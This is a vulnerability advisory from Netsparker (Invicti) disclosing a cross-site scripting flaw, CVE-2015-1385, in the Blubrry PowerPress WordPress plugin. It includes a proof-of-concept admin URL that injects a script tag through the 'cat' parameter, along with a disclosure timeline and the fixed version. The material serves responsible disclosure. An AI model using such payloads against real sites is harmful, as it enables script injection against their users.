Cross-site Scripting Vulnerability in Blubrry PowerPress

Information

Advisory by Netsparker (now Invicti)
Name: XSS Vulnerability in Blubrry PowerPress
Affected Software: Blubrry PowerPress
Affected Versions: 6.0 and possibly below
Vendor Homepage: https://wordpress.org/plugins/powerpress/
Vulnerability Type: Cross-site Scripting
Severity: Important
CVE-ID: CVE-2015-1385
Invicti Advisory Reference: NS-15-001

Technical Details

Proof of Concept URLs for XSS in Blubrry PowerPress:

/wp-admin/admin.php?page=powerpress/powerpressadmin_categoryfeeds.php&action=powerpress-editcategoryfeed&cat=1';"--></style></scRipt><scRipt>alert(0x014068)</scRipt>

For more information on cross-site scripting vulnerabilities read the article cross-site scripting (XSS).

Advisory Timeline

22/01/2015 – First Contact
26/01/2015 – Vulnerability fixed
29/01/2015 – Advisory released

Solution

Download version 6.0.1 which includes a fix for this vulnerability.

Credits & Authors

These issues have been discovered by Omar Kurt while testing Invicti Web Application Security Scanner.

About Invicti

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